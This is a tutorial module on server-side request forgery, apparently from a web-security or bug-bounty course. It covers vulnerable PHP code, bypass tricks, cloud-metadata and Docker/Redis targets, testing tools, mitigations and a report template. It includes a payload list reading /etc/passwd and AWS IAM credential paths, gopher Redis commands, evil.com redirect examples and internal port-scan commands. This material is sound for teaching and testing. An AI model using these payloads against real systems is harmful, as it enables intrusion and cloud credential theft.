9. SERVER SIDE REQUEST FORGERY (SSRF)

🔷 MODULE 9 — SERVER-SIDE REQUEST FORGERY (SSRF)

SSRF allows an attacker to make the server perform unintended requests **on behalf of the attacker**.

This enables access to:

- Internal networks
- Cloud metadata services
- Localhost-only applications
- Private APIs
- File systems
- Sensitive admin panels

Modern infrastructure (AWS, GCP, Azure, Docker, Kubernetes) is **highly vulnerable** to SSRF, making it a critical attack vector.

🔶 1. What is SSRF?

SSRF happens when the server takes a user-controlled URL and makes an HTTP request internally.

Example vulnerable code:

```
$url = $_GET['url'];
$data = file_get_contents($url);
echo $data;
```

Attacker can call:

```
?url=http://localhost/admin
```

Server requests internal admin panel → attacker sees response.

🔶 2. Types of SSRF

✔️ Basic SSRF

Directly fetch internal URLs.

✔️ Blind SSRF

No output, but server still makes internal requests (detectable via DNS logs, request bins).

✔️ SSRF via POST / JSON

```
{
  "image_url": "http://localhost:8080/private"
}
```

✔️ SSRF via Redirects

```
?url=http://evil.com/redirect-to-internal
```

🔶 3. SSRF Attack Targets

📌 Localhost

```
http://127.0.0.1/
http://localhost/
```

📌 Internal networks

```
http://10.0.0.1/
http://192.168.1.1/
```

📌 Admin panels

```
http://127.0.0.1:8080/admin
```

📌 Cloud metadata

AWS:

```
http://169.254.169.254/latest/meta-data/
```

GCP:

```
http://169.254.169.254/computeMetadata/v1/
```

Azure:

```
http://169.254.169.254/metadata/
```

📌 Docker & Kubernetes

Docker:

```
http://localhost:2375/containers/json
```

K8s:

```
http://localhost:8080/api/
```

🔶 4. SSRF Bypass Techniques

✔️ IP obfuscation

```
http://2130706433/        # integer for 127.0.0.1
http://0177.0.0.1/        # octal
http://0x7f.0x0.0x0.0x1/  # hex
```

✔️ DNS rebinding

```
http://evil.yourdomain.com
```

Resolves first to public IP, then to internal IP.

✔️ Redirect bypass

```
url=http://evil.com/redirect → localhost
```

✔️ Open redirection

```
url=http://victim.com/login?redirect=http://localhost/admin
```

🔶 5. SSRF Payload List

```
http://localhost/
http://127.0.0.1:22/
```

```
http://192.168.1.1/
http://10.0.0.2:3306/
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:53/
```

🔶 6. Advanced Protocols for SSRF

✔️ Gopher Protocol

Used for exploiting Redis, MySQL, SMTP, etc.

Example Redis RCE:

```
gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
```

✔️ File Protocol

```
file:///etc/passwd
```

✔️ Dict Protocol

```
dict://127.0.0.1:25/
```

🔶 7. Tools for SSRF Testing

1. Burp Suite

Repeater → try URLs manually

Intruder → fuzz private IP ranges

```
http://127.0.0.1:FUZZ
```

Wordlist:

```
22
80
3306
8080
```

---

2. FFUF

Scan internal ports:

```
ffuf -u "http://site.com/?url=http://127.0.0.1:FUZZ" -w ports.txt
```

---

3. cURL

Manual testing:

```
curl "http://site.com/?url=http://localhost/admin"
```

---

4. Interactsh / Burp Collaborator

Detect blind SSRF:

- If server triggers DNS lookup → SSRF confirmed.

---

5. Nuclei Templates

```
nuclei -t ssrf-*
```

Automatic SSRF scanning.

🔶 8. Detecting Blind SSRF

Use Burp Collaborator:

If app is sending a request to:

```
randomstring.burpcollaborator.net
```

→ Blind SSRF confirmed.

Using Interactsh:

```
interactsh -domain example.com
```

Inject:

```
?url=http://randomstring.interactsh.net
```

🔶 9. Cloud Metadata Exploitation (Critical)

SSRF to cloud metadata often leads to **full account takeover**.

AWS Example:

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

Then dump keys:

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
```

🔶 10. SSRF to RCE Chains

Docker RCE

```
http://localhost:2375/containers/json
```

→ Create container → RCE.

Redis RCE

Using Gopher payloads:

```
gopher://127.0.0.1:6379/_SET payload
```

Kubernetes RCE

```
http://localhost:8080/api
```

🔶 11. SSRF in Real-World Breaches

- **Capital One breach (AWS metadata leak)**
- **Facebook SSRF → access internal endpoints**
- **Alibaba cloud RCE via SSRF**
- **Uber SSRF → internal dashboards**

🔶 12. Mitigation

- Strict allow-list
- Block private IP ranges

- Disable redirects
- Enforce DNS pinning
- Validate and sanitize URLs
- Limit metadata access
- Implement firewall/WAF rules

🔶 13. Reporting Template

```
Title: Server-Side Request Forgery (SSRF)
Severity: Critical (9.8)
Impact: Access to internal network/admin panels/cloud metadata
Steps:
1. Send request:
   /fetch?url=http://127.0.0.1/admin
2. Server fetches internal URL
3. Attempted metadata access:
   /fetch?url=http://169.254.169.254/latest/meta-data/
Recommendations:
- Strict allow-list for outbound URLs
- Block internal IP ranges
- Disable redirects
```